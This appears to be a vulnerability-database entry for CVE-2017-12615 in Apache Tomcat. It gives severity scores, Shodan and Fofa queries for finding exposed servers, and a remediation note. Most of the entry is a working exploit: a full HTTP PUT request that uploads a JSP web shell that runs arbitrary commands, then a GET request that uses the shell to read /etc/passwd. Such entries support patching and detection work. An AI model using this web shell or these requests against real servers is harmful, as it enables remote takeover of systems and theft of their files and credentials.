| Title | Apache Tomcat Servers - Remote Code Execution |
|---|---|
| Author | pikpikcu |
| Severity | High |
| Impact | Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the affected server. |
| Remediation | Apply the latest security patches or upgrade to a non-vulnerable version of Apache Tomcat. |
| CVSS Score | 8.1 |
| EPSS Score | 0.94277 |
| CVE ID | CVE-2017-12615 |
| CWE ID | CWE-434 |
| Shodan Query | title:"Apache Tomcat"http.title:"apache tomcat"http.html:"apache tomcat"cpe:"cpe:2.3:a:apache:tomcat" |
| Fofa Query | body="apache tomcat"title="apache tomcat" |
| Tags | cve2017 cve rce tomcat kev vulhub apache fileupload intrusive vkev vuln |
Apache Tomcat servers 7.0.{0 to 79} are susceptible to remote code execution. By design, you are not allowed to upload JSP files via the PUT method. This is likely a security measure to prevent an attacker from uploading a JSP shell and gaining remote code execution on the server. However, due to the insufficient checks, an attacker could gain remote code execution on Apache Tomcat servers that have enabled PUT method by using a specially crafted HTTP request.
PUT /poc.jsp/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:109.0) Gecko/20100101 Firefox/115.0
Connection: close
Content-Length: 575
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
<%@ page import="java.util.*,java.io.*"%>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "<BR>");
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
GET /poc.jsp?cmd=cat+%2Fetc%2Fpasswd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2017/CVE-2017-12615.yaml
🦈 Packet Capture: ⬇️ Download cve-2017-12615.pcap
N/AN/A